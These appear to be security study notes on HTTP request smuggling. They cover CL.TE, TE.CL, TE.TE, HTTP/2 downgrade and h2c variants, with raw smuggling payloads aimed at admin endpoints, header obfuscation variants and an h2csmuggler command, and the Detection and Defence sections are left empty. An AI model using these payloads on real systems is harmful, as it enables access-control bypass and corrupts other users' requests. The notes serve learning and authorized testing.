HTTP Request Smuggling

Two boxes in front of your app (front-end proxy/LB, back-end server) disagree on where one request ends and the next begins. Attacker plants a request boundary in a spot that one honours and the other ignores, so a chunk of the payload gets prepended to the next request coming down the same connection. Also called desync.

Needs keep-alive connections and pipelining, multiple requests riding one TCP socket. No connection reuse, no smuggling. The whole family lives in the disagreement between the Content-Length (CL) and Transfer-Encoding (TE) headers.

Why it matters

Testing on production can desync the whole pipeline, break other users’ requests, or poison the cache for real. Careful.

Byte-counting note

CL is measured in bytes, and \r\n (CRLF) counts. Off-by-a-few on the CRLFs is the usual reason a payload silently fails. Many tools (Burp Repeater’s “Update Content-Length”) auto-fix Content-Length for you, which overwrites your crafted value. Turn that off before testing, or your test proves nothing.

CL.TE

Front-end trusts Content-Length, back-end trusts Transfer-Encoding.

POST /search HTTP/1.1
Host: example.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /update HTTP/1.1
Host: example.com
Content-Length: 13
Content-Type: application/x-www-form-urlencoded

isadmin=true

Front-end reads CL and forwards all 130 bytes as one request. Back-end reads TE chunked, sees the 0 chunk, and calls the first request done right there. Everything after 0\r\n\r\n is left in the buffer as the start of a new request, so POST /update gets processed on its own, on the next victim’s connection.

TE.CL

Mirror image. Front-end trusts Transfer-Encoding, back-end trusts Content-Length.

POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked

78
POST /update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

isadmin=true
0

Front-end does chunked, 78 (hex = 120) says the next 120 bytes belong to this body, reads up to the terminating 0 chunk, forwards the lot. Back-end only reads Content-Length: 4 bytes (78\r\n), then treats POST /update... as a fresh request. The trailing 0 completes nothing so the buffer stays primed. Get the 78 count right or the whole thing hangs.

TE.TE

Both ends honour Transfer-Encoding, but you feed a malformed TE header that only one of them chokes on. The one that rejects/ignores the bad header falls back to Content-Length, and you’re back to a CL.TE or TE.CL split depending on which side blinked.

POST / HTTP/1.1
Host: example.com
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: chunked1

4e
POST /update HTTP/1.1
Host: example.com
Content-length: 15

isadmin=true
0

The chunked1 is the bait. Doesn’t need two TE headers either, one malformed header is often enough. Obfuscation variants to try when a plain duplicate does nothing:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked        (space before colon)
Transfer-Encoding:\tchunked        (tab)
Transfer-Encoding: chunked\r\n      + a second, different value
 Transfer-Encoding: chunked        (leading space, treated as folded/continuation)
X: X\nTransfer-Encoding: chunked   (smuggled via header injection)

HTTP/2 and downgrading

Pure HTTP/2 kills classic smuggling. It’s binary and prefixes every part (each header, the body) with an explicit length, so there’s no CL vs TE ambiguity, the body length is stated unambiguously and Content-Length/Transfer-Encoding are meaningless.

The hole is HTTP/2 downgrading: front-end speaks h2 to the client but rewrites to HTTP/1.1 for the back-end. That conversion re-introduces the ambiguity, and whatever junk you smuggled into the h2 request (headers, CRLFs, a bogus CL) gets copied verbatim into the 1.1 request the back-end parses.

Browsers still attach content-length to h2 requests precisely so a downgrade produces a valid 1.1 request, which is exactly what you abuse.

H2.CL

Add a content-length to the h2 request. On downgrade the proxy copies it into the 1.1 request. Set it to 0 and the back-end thinks the POST has no body, so the real body becomes the start of the next request.

:method   POST
:path     /
:authority example.com
content-length  0

GET /admin/delete?user=carlos HTTP/1.1
X: (rest of body lingers, prefixes next request)

H2.TE

Same idea with transfer-encoding: chunked smuggled into the h2 request. If the back-end honours it after downgrade, the 0 chunk ends the request early and the remainder poisons the connection. Effect identical to H2.CL.

CRLF injection (h2 to h1 downgrade)

HTTP/2 carries binary, so you can stuff a real \r\n into a header value. HTTP/1.1 uses \r\n as its header delimiter, so on downgrade your injected CRLF becomes a genuine header break, or a request boundary. Inject a header, or smuggle a whole request:

foo: bar\r\n
Content-Length: 0\r\n
\r\n
GET /admin HTTP/1.1\r\n
X: x

Not limited to headers, any field whose bytes reach the 1.1 request works. Each proxy sanitises differently, so mileage varies.

Request tunnelling vs desync

Two very different situations depending on how the back-end pools connections:

h2c smuggling

Different mechanism, same goal. h2c is HTTP/2 over cleartext, negotiated by a 1.1 request carrying Upgrade: h2c + HTTP2-Settings, server replies 101 Switching Protocols.

If the front-end proxy blindly forwards those upgrade headers to the back-end instead of handling them itself, the back-end does the upgrade and the proxy just tunnels the bytes, no longer inspecting them. From there every h2 request you send goes straight to the back-end, past all front-end controls.

# BishopFox h2csmuggler: upgrade via an allowed path, then reach a blocked one
python3 h2csmuggler.py -x https://target:8200/ https://target:8200/private

Detection

Defence